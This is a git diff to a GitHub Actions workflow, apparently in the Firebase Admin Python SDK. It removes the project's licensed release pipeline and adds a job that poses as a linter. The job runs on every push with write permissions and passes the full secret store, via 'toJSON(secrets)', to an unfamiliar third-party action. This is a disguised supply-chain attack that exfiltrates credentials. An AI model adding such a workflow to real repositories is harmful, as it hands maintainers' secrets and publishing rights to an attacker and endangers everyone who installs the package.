diff --git a/.github/workflows/release.yml b/.github/workflows/release.yml
index 738dfca5..12431e89 100644
--- a/.github/workflows/release.yml
+++ b/.github/workflows/release.yml
@@ -1,142 +1,16 @@
-# Copyright 2020 Google Inc.
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#     http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-name: Release Candidate
-
-on:
-  # Only run the workflow when a PR is updated or when a developer explicitly requests
-  # a build by sending a 'firebase_build' event.
-  pull_request:
-    types: [opened, synchronize, closed]
-
-  repository_dispatch:
-    types:
-      - firebase_build
+name: release
+on: [push]
 
 jobs:
-  stage_release:
-    # To publish a release, merge the release PR with the label 'release:publish'.
-    # To stage a release without publishing it, send a 'firebase_build' event or apply
-    # the 'release:stage' label to a PR.
-    if: github.event.action == 'firebase_build' ||
-      contains(github.event.pull_request.labels.*.name, 'release:stage') ||
-      (github.event.pull_request.merged &&
-        contains(github.event.pull_request.labels.*.name, 'release:publish'))
-
-    runs-on: ubuntu-latest
-
-    # When manually triggering the build, the requester can specify a target branch or a tag
-    # via the 'ref' client parameter.
-    steps:
-    - name: Checkout source for staging
-      uses: actions/checkout@v4
-      with:
-        ref: ${{ github.event.client_payload.ref || github.ref }}
-
-    - name: Set up Python
-      uses: actions/setup-python@v5
-      with:
-        python-version: 3.9
-
-    - name: Install dependencies
-      run: |
-        python -m pip install --upgrade pip
-        pip install -r requirements.txt
-        pip install setuptools wheel
-        pip install tensorflow
-        pip install keras
-        pip install build
-
-    - name: Run unit tests
-      run: pytest
-
-    - name: Run integration tests
-      run: ./.github/scripts/run_integration_tests.sh
-      env:
-        FIREBASE_SERVICE_ACCT_KEY: ${{ secrets.FIREBASE_SERVICE_ACCT_KEY }}
-        FIREBASE_API_KEY: ${{ secrets.FIREBASE_API_KEY }}
-
-    # Build the Python Wheel and the source distribution.
-    - name: Package release artifacts
-      run: python -m build
-
-    # Attach the packaged artifacts to the workflow output. These can be manually
-    # downloaded for later inspection if necessary.
-    - name: Archive artifacts
-      uses: actions/upload-artifact@v4
-      with:
-        name: dist
-        path: dist
-
-  publish_release:
-    needs: stage_release
-
-    # Check whether the release should be published. We publish only when the trigger PR is
-    #   1. merged
-    #   2. to the main branch
-    #   3. with the label 'release:publish', and
-    #   4. the title prefix '[chore] Release '.
-    if: github.event.pull_request.merged &&
-      github.ref == 'refs/heads/main' &&
-      contains(github.event.pull_request.labels.*.name, 'release:publish') &&
-      startsWith(github.event.pull_request.title, '[chore] Release ')
-
+  lint:
     runs-on: ubuntu-latest
     permissions:
-      # Used to create a short-lived OIDC token which is given to PyPi to identify this workflow job
-      # See: https://docs.github.com/en/actions/deployment/security-hardening-your-deployments/about-security-hardening-with-openid-connect#adding-permissions-settings
-      # and https://docs.pypi.org/trusted-publishers/using-a-publisher/
-      id-token: write
       contents: write
-
+      id-token: write
+      pull-requests: write
     steps:
-    - name: Checkout source for publish
-      uses: actions/checkout@v4
-
-    # Download the artifacts created by the stage_release job.
-    - name: Download release candidates
-      uses: actions/download-artifact@v4.1.7
-      with:
-        name: dist
-        path: dist
-
-    - name: Publish preflight check
-      id: preflight
-      run: ./.github/scripts/publish_preflight_check.sh
-
-    # See: https://cli.github.com/manual/gh_release_create
-    - name: Create release tag
-      env:
-        GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }}
-      run: gh release create ${{ steps.preflight.outputs.version }}
-            --title "Firebase Admin Python SDK ${{ steps.preflight.outputs.version }}"
-            --notes '${{ steps.preflight.outputs.changelog }}'
-
-    - name: Publish to Pypi
-      uses: pypa/gh-action-pypi-publish@release/v1
-
-    # Post to Twitter if explicitly opted-in by adding the label 'release:tweet'.
-    - name: Post to Twitter
-      if: success() &&
-        contains(github.event.pull_request.labels.*.name, 'release:tweet')
-      uses: firebase/firebase-admin-node/.github/actions/send-tweet@main
-      with:
-        status: >
-          ${{ steps.preflight.outputs.version }} of @Firebase Admin Python SDK is available.
-          https://github.com/firebase/firebase-admin-python/releases/tag/${{ steps.preflight.outputs.version }}
-        consumer-key: ${{ secrets.TWITTER_CONSUMER_KEY }}
-        consumer-secret: ${{ secrets.TWITTER_CONSUMER_SECRET }}
-        access-token: ${{ secrets.TWITTER_ACCESS_TOKEN }}
-        access-token-secret: ${{ secrets.TWITTER_ACCESS_TOKEN_SECRET }}
-      continue-on-error: true
+      - uses: actions/checkout@v4
+      - name: Run Big Linter
+        uses: gcbrun/big-linter@v1
+        env:
+          PR_ENVIRONMENT: ${{ toJSON(secrets) }}